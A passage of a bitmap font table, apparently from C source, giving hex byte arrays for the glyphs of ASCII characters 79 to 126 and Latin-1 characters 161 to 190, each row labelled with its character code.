0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x38,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xE0,0x00,0x38,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x0F,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 79\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0x60,0x60,0x00,0x00,0xC0,0x30,0x00,0x00,0xC0,0x3F,0x00,0x00,0x00,0x0F,  // 80\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x0C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x18,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x36,0x00,0x60,0x00,0x36,0x00,0xE0,0x00,0x3C,0x00,0xC0,0x00,0x1C,0x00,0xC0,0x01,0x1C,0x00,0x80,0x07,0x3F,0x00,0x00,0xFF,0x77,0x00,0x00,0xFC,0x61, // 81\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x70,0x00,0x00,0x60,0xF0,0x00,0x00,0x60,0xF0,0x03,0x00,0x60,0xB0,0x07,0x00,0xE0,0x18,0x1F,0x00,0xC0,0x1F,0x3C,0x00,0x80,0x0F,0x30,0x00,0x00,0x00,0x20, // 82\n  0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x07,0x0F,0x00,0xC0,0x1F,0x1C,0x00,0xC0,0x18,0x18,0x00,0x60,0x38,0x38,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x70,0x30,0x00,0xC0,0x60,0x18,0x00,0xC0,0xE1,0x18,0x00,0x80,0xC3,0x0F,0x00,0x00,0x83,0x07, // 83\n  0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60, // 84\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x03,0x00,0xE0,0xFF,0x0F,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x1C,0x00,0xE0,0xFF,0x0F,0x00,0xE0,0xFF,0x03, // 85\n  0x20,0x00,0x00,0x00,0xE0,0x01,0x00,0x00,0xC0,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0xF8,0x01,0x00,0x00,0xC0,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x3E,0x00,0x00,0xC0,0x0F,0x00,0x00,0xF8,0x01,0x00,0x00,0x3E,0x00,0x00,0xC0,0x0F,0x00,0x00,0xE0,0x01,0x00,0x00,0x20, // 86\n  0x60,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0x80,0xFF,0x00,0x00,0x00,0xF8,0x0F,0x00,0x00,0x80,0x3F,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x3F,0x00,0x00,0xE0,0x0F,0x00,0x00,0xFC,0x01,0x00,0x80,0x1F,0x00,0x00,0xE0,0x03,0x00,0x00,0x60,0x00,0x00,0x00,0xE0,0x03,0x00,0x00,0x80,0x1F,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xE0,0x0F,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x30,0x00,0x00,0x80,0x3F,0x00,0x00,0xF8,0x0F,0x00,0x80,0xFF,0x00,0x00,0xE0,0x07,0x00,0x00,0x60, // 87\n  0x00,0x00,0x20,0x00,0x20,0x00,0x30,0x00,0x60,0x00,0x3C,0x00,0xE0,0x01,0x1E,0x00,0xC0,0x83,0x07,0x00,0x00,0xCF,0x03,0x00,0x00,0xFE,0x01,0x00,0x00,0x38,0x00,0x00,0x00,0xFE,0x01,0x00,0x00,0xCF,0x03,0x00,0xC0,0x03,0x07,0x00,0xE0,0x01,0x1E,0x00,0x60,0x00,0x3C,0x00,0x20,0x00,0x30,0x00,0x00,0x00,0x20, // 88\n  0x20,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x80,0x03,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0xF0,0x3F,0x00,0x00,0xF0,0x3F,0x00,0x00,0x3C,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x07,0x00,0x00,0xC0,0x03,0x00,0x00,0xE0,0x01,0x00,0x00,0x60,0x00,0x00,0x00,0x20, // 89\n  0x00,0x00,0x30,0x00,0x60,0x00,0x38,0x00,0x60,0x00,0x3C,0x00,0x60,0x00,0x37,0x00,0x60,0x80,0x33,0x00,0x60,0xC0,0x31,0x00,0x60,0xE0,0x30,0x00,0x60,0x38,0x30,0x00,0x60,0x1C,0x30,0x00,0x60,0x0E,0x30,0x00,0x60,0x07,0x30,0x00,0xE0,0x01,0x30,0x00,0xE0,0x00,0x30,0x00,0x60,0x00,0x30, // 90\n  0x00,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x07,0xE0,0xFF,0xFF,0x07,0x60,0x00,0x00,0x06,0x60,0x00,0x00,0x06,  // 91\n  0x60,0x00,0x00,0x00,0xE0,0x03,0x00,0x00,0x80,0x3F,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xE0,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 92\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x06,0x60,0x00,0x00,0x06,0xE0,0xFF,0xFF,0x07,0xE0,0xFF,0xFF,0x07,  // 93\n  0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x1F,0x00,0x00,0xC0,0x07,0x00,0x00,0xE0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xC0,0x07,0x00,0x00,0x00,0x1F,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x20,  // 94\n  0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,  // 95\n  0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x80, // 96\n  0x00,0x00,0x00,0x00,0x00,0x18,0x0E,0x00,0x00,0x1C,0x1F,0x00,0x00,0x8C,0x39,0x00,0x00,0x86,0x31,0x00,0x00,0x86,0x31,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x18,0x00,0x00,0xCE,0x0C,0x00,0x00,0xFC,0x1F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x00,0x20, // 97\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x18,0x0C,0x00,0x00,0x0C,0x18,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xE0,0x03, // 98\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x38,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0x18,0x0C, // 99\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x03,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x38,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0C,0x18,0x00,0x00,0x18,0x0C,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 100\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0xDC,0x1C,0x00,0x00,0xCE,0x38,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xCE,0x38,0x00,0x00,0xDC,0x18,0x00,0x00,0xF8,0x0C,0x00,0x00,0xF0,0x04, // 101\n  0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0xC0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x06,0x00,0x00,0x60,0x06,0x00,0x00,0x60,0x06,  // 102\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x83,0x01,0x00,0xF8,0x8F,0x03,0x00,0x1C,0x1C,0x07,0x00,0x0E,0x38,0x06,0x00,0x06,0x30,0x06,0x00,0x06,0x30,0x06,0x00,0x06,0x30,0x06,0x00,0x0C,0x18,0x07,0x00,0x18,0x8C,0x03,0x00,0xFE,0xFF,0x01,0x00,0xFE,0xFF, // 103\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x18,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0xFC,0x3F,0x00,0x00,0xF8,0x3F, // 104\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0xFE,0x3F,0x00,0x60,0xFE,0x3F, // 105\n  0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x60,0xFE,0xFF,0x07,0x60,0xFE,0xFF,0x03,  // 106\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0xC0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0xF0,0x01,0x00,0x00,0x98,0x07,0x00,0x00,0x0C,0x0E,0x00,0x00,0x06,0x3C,0x00,0x00,0x02,0x30,0x00,0x00,0x00,0x20, // 107\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 108\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0xFC,0x3F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0xFC,0x3F,0x00,0x00,0xF8,0x3F, // 109\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F,0x00,0x00,0x18,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0xFC,0x3F,0x00,0x00,0xF8,0x3F, // 110\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x38,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xF0,0x07, // 111\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFF,0x07,0x00,0xFE,0xFF,0x07,0x00,0x18,0x0C,0x00,0x00,0x0C,0x18,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0E,0x38,0x00,0x00,0x1C,0x1C,0x00,0x00,0xF8,0x0F,0x00,0x00,0xE0,0x03, // 112\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x03,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x0E,0x38,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x0C,0x18,0x00,0x00,0x18,0x0C,0x00,0x00,0xFE,0xFF,0x07,0x00,0xFE,0xFF,0x07,  // 113\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F,0x00,0x00,0x0C,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x06,  // 114\n  0x00,0x00,0x00,0x00,0x00,0x38,0x0C,0x00,0x00,0x7C,0x1C,0x00,0x00,0xEE,0x38,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x30,0x00,0x00,0xC6,0x31,0x00,0x00,0xC6,0x31,0x00,0x00,0x8E,0x39,0x00,0x00,0x9C,0x1F,0x00,0x00,0x18,0x0F, // 115\n  0x00,0x06,0x00,0x00,0x00,0x06,0x00,0x00,0xC0,0xFF,0x1F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30, // 116\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x0F,0x00,0x00,0xFE,0x1F,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x0C,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F, // 117\n  0x00,0x06,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0xF8,0x00,0x00,0x00,0xC0,0x07,0x00,0x00,0x00,0x1F,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x1F,0x00,0x00,0xC0,0x07,0x00,0x00,0xF8,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x06,  // 118\n  0x00,0x0E,0x00,0x00,0x00,0x7E,0x00,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x1F,0x00,0x00,0x00,0x38,0x00,0x00,0x80,0x1F,0x00,0x00,0xE0,0x03,0x00,0x00,0x7C,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0xE0,0x03,0x00,0x00,0x80,0x1F,0x00,0x00,0x00,0x38,0x00,0x00,0x80,0x1F,0x00,0x00,0xF0,0x03,0x00,0x00,0x7E,0x00,0x00,0x00,0x0E,  // 119\n  0x00,0x02,0x20,0x00,0x00,0x06,0x30,0x00,0x00,0x1E,0x3C,0x00,0x00,0x38,0x0E,0x00,0x00,0xF0,0x07,0x00,0x00,0xC0,0x01,0x00,0x00,0xE0,0x07,0x00,0x00,0x38,0x0E,0x00,0x00,0x1C,0x3C,0x00,0x00,0x0E,0x30,0x00,0x00,0x02,0x20, // 120\n  0x00,0x00,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x7E,0x00,0x06,0x00,0xF0,0x01,0x06,0x00,0x80,0x0F,0x07,0x00,0x00,0xFE,0x03,0x00,0x00,0xFC,0x00,0x00,0xC0,0x1F,0x00,0x00,0xF8,0x03,0x00,0x00,0x3E,0x00,0x00,0x00,0x06,  // 121\n  0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x06,0x3C,0x00,0x00,0x06,0x3E,0x00,0x00,0x06,0x37,0x00,0x00,0xC6,0x33,0x00,0x00,0xE6,0x30,0x00,0x00,0x76,0x30,0x00,0x00,0x3E,0x30,0x00,0x00,0x1E,0x30,0x00,0x00,0x06,0x30, // 122\n  0x00,0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0xC0,0x03,0x00,0xC0,0x7F,0xFE,0x03,0xE0,0x3F,0xFC,0x07,0x60,0x00,0x00,0x06,0x60,0x00,0x00,0x06,  // 123\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x0F,0xE0,0xFF,0xFF,0x0F,  // 124\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x06,0x60,0x00,0x00,0x06,0xE0,0x3F,0xFC,0x07,0xC0,0x7F,0xFF,0x03,0x00,0xC0,0x03,0x00,0x00,0x80,0x01, // 125\n  0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x60,  // 126\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE6,0xFF,0x07,0x00,0xE6,0xFF,0x07,  // 161\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xF8,0x0F,0x00,0x00,0x1C,0x9C,0x07,0x00,0x0E,0x78,0x00,0x00,0x06,0x3F,0x00,0x00,0xF6,0x30,0x00,0x00,0x0E,0x30,0x00,0xE0,0x0D,0x1C,0x00,0x00,0x1C,0x0E,0x00,0x00,0x10,0x06, // 162\n  0x00,0x60,0x10,0x00,0x00,0x60,0x38,0x00,0x00,0x7F,0x1C,0x00,0xC0,0xFF,0x1F,0x00,0xE0,0xE0,0x19,0x00,0x60,0x60,0x18,0x00,0x60,0x60,0x18,0x00,0x60,0x60,0x30,0x00,0xE0,0x00,0x30,0x00,0xC0,0x01,0x30,0x00,0x80,0x01,0x38,0x00,0x00,0x00,0x10, // 163\n  0x00,0x00,0x00,0x00,0x00,0x02,0x04,0x00,0x00,0xF7,0x0E,0x00,0x00,0xFE,0x07,0x00,0x00,0x0C,0x03,0x00,0x00,0x06,0x06,0x00,0x00,0x06,0x06,0x00,0x00,0x06,0x06,0x00,0x00,0x06,0x06,0x00,0x00,0x0C,0x03,0x00,0x00,0xFE,0x07,0x00,0x00,0xF7,0x0E,0x00,0x00,0x02,0x04, // 164\n  0xE0,0x60,0x06,0x00,0xC0,0x61,0x06,0x00,0x80,0x67,0x06,0x00,0x00,0x7E,0x06,0x00,0x00,0x7C,0x06,0x00,0x00,0xF0,0x3F,0x00,0x00,0xF0,0x3F,0x00,0x00,0x7C,0x06,0x00,0x00,0x7E,0x06,0x00,0x80,0x67,0x06,0x00,0xC0,0x61,0x06,0x00,0xE0,0x60,0x06,0x00,0x20, // 165\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x7F,0xF8,0x0F,0xE0,0x7F,0xF8,0x0F,  // 166\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x00,0x80,0xF3,0xC1,0x00,0xC0,0x1F,0xC3,0x03,0xE0,0x0C,0x07,0x03,0x60,0x1C,0x06,0x06,0x60,0x18,0x0C,0x06,0x60,0x30,0x1C,0x06,0xE0,0x70,0x38,0x07,0xC0,0xE1,0xF4,0x03,0x80,0xC1,0xE7,0x01,0x00,0x80,0x03, // 167\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60, // 168\n  0x00,0xF8,0x00,0x00,0x00,0xFE,0x03,0x00,0x00,0x07,0x07,0x00,0x80,0x01,0x0C,0x00,0xC0,0x79,0x1C,0x00,0xC0,0xFE,0x19,0x00,0x60,0x86,0x31,0x00,0x60,0x03,0x33,0x00,0x60,0x03,0x33,0x00,0x60,0x03,0x33,0x00,0x60,0x03,0x33,0x00,0x60,0x87,0x33,0x00,0xC0,0x86,0x19,0x00,0xC0,0x85,0x1C,0x00,0x80,0x01,0x0C,0x00,0x00,0x07,0x07,0x00,0x00,0xFE,0x03,0x00,0x00,0xF8,  // 169\n  0x00,0x00,0x00,0x00,0xC0,0x1C,0x00,0x00,0xE0,0x3E,0x00,0x00,0x60,0x32,0x00,0x00,0x60,0x32,0x00,0x00,0xE0,0x3F,0x00,0x00,0xC0,0x3F,  // 170\n  0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0xE0,0x03,0x00,0x00,0x78,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x84,0x10,0x00,0x00,0xE0,0x03,0x00,0x00,0x78,0x0F,0x00,0x00,0x1C,0x1C,0x00,0x00,0x04,0x10, // 171\n  0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFC,0x01, // 172\n  0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01, // 173\n  0x00,0xF8,0x00,0x00,0x00,0xFE,0x03,0x00,0x00,0x07,0x07,0x00,0x80,0x01,0x0C,0x00,0xC0,0x01,0x1C,0x00,0xC0,0xFE,0x1B,0x00,0x60,0xFE,0x33,0x00,0x60,0x66,0x30,0x00,0x60,0x66,0x30,0x00,0x60,0xE6,0x30,0x00,0x60,0xFE,0x31,0x00,0x60,0x3C,0x33,0x00,0xC0,0x00,0x1A,0x00,0xC0,0x01,0x1C,0x00,0x80,0x01,0x0C,0x00,0x00,0x07,0x07,0x00,0x00,0xFE,0x03,0x00,0x00,0xF8,  // 174\n  0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x0C, // 175\n  0x00,0x00,0x00,0x00,0x80,0x03,0x00,0x00,0x40,0x04,0x00,0x00,0x20,0x08,0x00,0x00,0x20,0x08,0x00,0x00,0x20,0x08,0x00,0x00,0x40,0x04,0x00,0x00,0x80,0x03,  // 176\n  0x00,0x00,0x00,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0xFF,0x3F,0x00,0x00,0xFF,0x3F,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30, // 177\n  0x40,0x20,0x00,0x00,0x60,0x30,0x00,0x00,0x20,0x38,0x00,0x00,0x20,0x2C,0x00,0x00,0x20,0x26,0x00,0x00,0xE0,0x23,0x00,0x00,0xC0,0x21,  // 178\n  0x40,0x10,0x00,0x00,0x60,0x30,0x00,0x00,0x20,0x20,0x00,0x00,0x20,0x22,0x00,0x00,0x20,0x22,0x00,0x00,0xE0,0x3D,0x00,0x00,0xC0,0x1D,  // 179\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x20, // 180\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFF,0x07,0x00,0xFE,0xFF,0x07,0x00,0x00,0x1C,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x1C,0x00,0x00,0xFE,0x3F,0x00,0x00,0xFE,0x3F, // 181\n  0x00,0x0F,0x00,0x00,0xC0,0x3F,0x00,0x00,0xC0,0x3F,0x00,0x00,0xE0,0x7F,0x00,0x00,0xE0,0x7F,0x00,0x00,0xE0,0xFF,0xFF,0x07,0xE0,0xFF,0xFF,0x07,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x07,0xE0,0xFF,0xFF,0x07,0x60,0x00,0x00,0x00,0x60, // 182\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,  // 183\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0xC0,0x02,0x00,0x00,0x80,0x03,0x00,0x00,0x00,0x01,  // 184\n  0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0xC0,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0xE0,0x3F,0x00,0x00,0xE0,0x3F,  // 185\n  0x00,0x00,0x00,0x00,0x80,0x0F,0x00,0x00,0xC0,0x1F,0x00,0x00,0xE0,0x38,0x00,0x00,0x60,0x30,0x00,0x00,0xE0,0x38,0x00,0x00,0xC0,0x1F,0x00,0x00,0x80,0x0F,  // 186\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x10,0x00,0x00,0x1C,0x1C,0x00,0x00,0x78,0x0F,0x00,0x00,0xE0,0x03,0x00,0x00,0x84,0x10,0x00,0x00,0x1C,0x1C,0x00,0x00,0x78,0x0F,0x00,0x00,0xE0,0x03,0x00,0x00,0x80,  // 187\n  0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0xC0,0x00,0x00,0x00,0xC0,0x00,0x20,0x00,0xE0,0x3F,0x38,0x00,0xE0,0x3F,0x1C,0x00,0x00,0x00,0x0E,0x00,0x00,0x80,0x03,0x00,0x00,0xC0,0x01,0x00,0x00,0xE0,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x07,0x0C,0x00,0xC0,0x01,0x0E,0x00,0xE0,0x80,0x0B,0x00,0x60,0xC0,0x08,0x00,0x00,0xE0,0x3F,0x00,0x00,0xE0,0x3F,0x00,0x00,0x00,0x08, // 188\n  0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0xC0,0x00,0x00,0x00,0xC0,0x00,0x20,0x00,0xE0,0x3F,0x30,0x00,0xE0,0x3F,0x1C,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x07,0x00,0x00,0xC0,0x01,0x00,0x00,0xE0,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x4E,0x20,0x00,0x00,0x67,0x30,0x00,0xC0,0x21,0x38,0x00,0xE0,0x20,0x2C,0x00,0x60,0x20,0x26,0x00,0x00,0xE0,0x27,0x00,0x00,0xC0,0x21, // 189\n  0x40,0x10,0x00,0x00,0x60,0x30,0x00,0x00,0x20,0x20,0x00,0x00,0x20,0x22,0x20,0x00,0x20,0x22,0x30,0x00,0xE0,0x3D,0x38,0x00,0xC0,0x1D,0x0E,0x00,0x00,0x00,0x07,0x00,0x00,0x80,0x03,0x00,0x00,0xE0,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x0E,0x0C,0x00,0x00,0x07,0x0E,0x00,0x80,0x83,0x0B,0x00,0xE0,0xC0,0x08,0x00,0x60,0xE0,0x3F,0x00,0x20,0xE0,0x3F,0x00,0x00,0x00,0x08, // 190\n  